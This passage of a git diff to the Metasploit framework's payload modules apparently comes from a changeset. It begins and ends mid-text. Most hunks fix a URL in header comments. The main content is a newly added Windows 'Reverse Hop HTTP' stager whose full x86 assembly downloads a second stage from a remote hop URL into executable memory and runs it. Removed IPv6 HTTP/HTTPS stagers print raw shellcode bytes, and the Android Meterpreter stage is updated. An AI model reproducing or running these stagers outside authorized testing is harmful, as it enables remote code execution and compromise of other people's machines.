requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb index 8512cea249..4fd10de11d 100644 --- a/modules/payloads/stagers/php/reverse_tcp.rb +++ b/modules/payloads/stagers/php/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 60753157c1..97d74f1cb2 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index bbf7891414..8194a958bd 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb index 535621d933..895f9e6eac 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/bind_nonx_tcp.rb b/modules/payloads/stagers/windows/bind_nonx_tcp.rb index 6157346432..4a3adfc563 100644 --- a/modules/payloads/stagers/windows/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/bind_nonx_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index db9746881c..9d6689abc7 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb index 8cb3b3f4a7..461951aee3 100644 --- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/findtag_ord.rb b/modules/payloads/stagers/windows/findtag_ord.rb index 91e0a41607..b831e4dec0 100644 --- a/modules/payloads/stagers/windows/findtag_ord.rb +++ b/modules/payloads/stagers/windows/findtag_ord.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb new file mode 100644 index 0000000000..7b6eccdb77 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -0,0 +1,291 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' +require 'msf/core/handler/reverse_hop_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse Hop HTTP Stager', + 'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload + data/hop/hop.php to the PHP server you wish to use as a hop. + }, + 'Author' => + [ + 'scriptjunkie ', + 'hdm' + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHopHttp, + 'Convention' => 'sockedi http', + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Stager' => + { + 'Offsets' => + { + # None, they get embedded in the shellcode + } + } + )) + + deregister_options('LHOST', 'LPORT') + + register_options([ + OptString.new('HOPURL', [ true, "The full URL of the hop script", "http://example.com/hop.php" ] + ) + ], self.class) + end + + # + # Do not transmit the stage over the connection. We handle this via HTTP + # + def stage_over_connection? + false + end + + # + # Generate the first stage + # + def generate + uri = URI(datastore['HOPURL']) + #create actual payload + payload_data = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop until we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module + +; actual routine +start: + pop ebp ; get ptr to block_api routine + +; Input: EBP must be the address of 'api_call'. +; Output: EDI will be the socket for the connection to the server +; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) +load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + push esp ; Push a pointer to the "wininet" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + +internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push 0 ; NULL pointer + push esp ; LPCTSTR lpszAgent ("\x00") + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp.i8 dbl_get_server_host + +internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ecx ; password + push ecx ; username + push #{uri.port} ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp get_server_uri + +httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + +set_retry: + push 0x10 + pop ebx + +httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz allocate_memory + +try_it_again: + dec ebx + jz failure + jmp.i8 httpsendrequest + +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call httpopenrequest + +server_uri: + db "#{Rex::Text.hexify(uri.request_uri, 99999).strip}?/12345", 0x00 + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + +allocate_memory: + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (8Mb ought to do us) + push edi ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + +download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + +execute_stage: + ret ; dive into the stored stage address + +get_server_host: + call internetconnect + +server_host: +db "#{Rex::Text.hexify(uri.host, 99999).strip}", 0x00 + +EOS + self.module_info['Stager']['Assembly'] = payload_data.to_s + super + end +end diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 505f889864..fd1bd92ef1 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -79,7 +79,13 @@ module Metasploit3 i = p.index("/12345\x00") u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00" p[i, u.length] = u - p + datastore['LHOST'].to_s + "\x00" + + lhost = datastore['LHOST'] || Rex::Socket.source_address + if Rex::Socket.is_ipv6?(lhost) + lhost = "[#{lhost}]" + end + + p + lhost + "\x00" end # diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 7c7d449b8f..4142188ca4 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index 72de85106c..7c50ab5696 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -129,7 +129,7 @@ module Metasploit3 jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V") #patch call Internetopen - p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V") + p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V") # patch the LPORT lport = datastore['LPORT'] diff --git a/modules/payloads/stagers/windows/reverse_ipv6_http.rb b/modules/payloads/stagers/windows/reverse_ipv6_http.rb deleted file mode 100644 index 1a1afd3dfa..0000000000 --- a/modules/payloads/stagers/windows/reverse_ipv6_http.rb +++ /dev/null @@ -1,95 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' -require 'msf/core/handler/reverse_ipv6_http' -require 'msf/core/module/deprecated' - -module Metasploit3 - - include Msf::Payload::Stager - include Msf::Payload::Windows - include Msf::Module::Deprecated - - DEPRECATION_DATE = Date.new(2014, 7, 30) - DEPRECATION_REPLACEMENT = 'windows/meterpreter/reverse_https' - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Reverse HTTP Stager (IPv6)', - 'Description' => 'Tunnel communication over HTTP and IPv6', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseIPv6Http, - 'Convention' => 'sockedi http', - 'Stager' => - { - 'Offsets' => - { - # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) - # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian - }, - 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" + - "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + - "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" + - "\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + - "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" + - "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" + - "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" + - "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" + - "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" + - "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" + - "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF" - } - )) - end - - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end - - # - # Generate the first stage - # - def generate - p = super - i = p.index("/12345\x00") - u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00" - p[i, u.length] = u - - lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000" - if Rex::Socket.is_ipv6?(lhost) - lhost = "[#{lhost}]" - end - - p + lhost + "\x00" - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end - -end diff --git a/modules/payloads/stagers/windows/reverse_ipv6_https.rb b/modules/payloads/stagers/windows/reverse_ipv6_https.rb deleted file mode 100644 index f2c7c3e40a..0000000000 --- a/modules/payloads/stagers/windows/reverse_ipv6_https.rb +++ /dev/null @@ -1,96 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' -require 'msf/core/handler/reverse_ipv6_https' -require 'msf/core/module/deprecated' - -module Metasploit3 - - include Msf::Payload::Stager - include Msf::Payload::Windows - include Msf::Module::Deprecated - - DEPRECATION_DATE = Date.new(2014, 7, 30) - DEPRECATION_REPLACEMENT = 'windows/meterpreter/reverse_https' - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Reverse HTTPS Stager (IPv6)', - 'Description' => 'Tunnel communication over HTTP using SSL and IPv6', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseIPv6Https, - 'Convention' => 'sockedi https', - 'Stager' => - { - 'Offsets' => - { - # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) - # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian - }, - 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" + - "\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + - "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" + - "\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + - "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" + - "\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" + - "\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" + - "\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" + - "\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" + - "\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" + - "\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" + - "\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x51" + - "\xFF\xFF\xFF" - } - )) - end - - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end - - # - # Generate the first stage - # - def generate - p = super - i = p.index("/12345\x00") - u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00" - p[i, u.length] = u - - lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000" - if Rex::Socket.is_ipv6?(lhost) - lhost = "[#{lhost}]" - end - - p + lhost + "\x00" - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end -end diff --git a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb index fddfca5fa4..a854e625c1 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb index c3e4fc7eee..fec46c5673 100644 --- a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_ord_tcp.rb b/modules/payloads/stagers/windows/reverse_ord_tcp.rb index 0ec7e7e1ce..d73f7a32cb 100644 --- a/modules/payloads/stagers/windows/reverse_ord_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ord_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index a29d93a75c..c68f5695bc 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp_allports.rb b/modules/payloads/stagers/windows/reverse_tcp_allports.rb index 1060cc93f4..941151d463 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_allports.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_allports.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_dns.rb index 129cee6219..4b6f9529ea 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_dns.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb index 8775d727cc..6bc4c4362b 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb index 45f86306b2..c07258e446 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index bd4f0e2a28..a002a71537 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index c2c8f9cdcb..6f5aa447df 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index e3da6bcd4e..0650218c73 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index 0aa648e08e..5c42790620 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -1,33 +1,35 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/payload/dalvik' -require 'msf/core/handler/reverse_tcp' -require 'msf/base/sessions/meterpreter_java' +require 'msf/base/sessions/meterpreter_android' require 'msf/base/sessions/meterpreter_options' module Metasploit3 include Msf::Sessions::MeterpreterOptions - # The stager should have already included this - #include Msf::Payload::Java - def initialize(info = {}) super(update_info(info, - 'Name' => 'Android Meterpreter', - 'Description' => 'Run a meterpreter server on Android', - 'Author' => [ + 'Name' => 'Android Meterpreter', + 'Description' => 'Run a meterpreter server on Android', + 'Author' => [ 'mihi', # all the hard work - 'egypt' # msf integration + 'egypt', # msf integration + 'anwarelmakrahy' # android extension ], - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Java_Java)) + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Android)) + + register_options( + [ + OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) + ], self.class) end # diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb index 0ebba6357e..0d04451c27 100644 --- a/modules/payloads/stages/android/shell.rb +++ b/modules/payloads/stages/android/shell.rb @@ 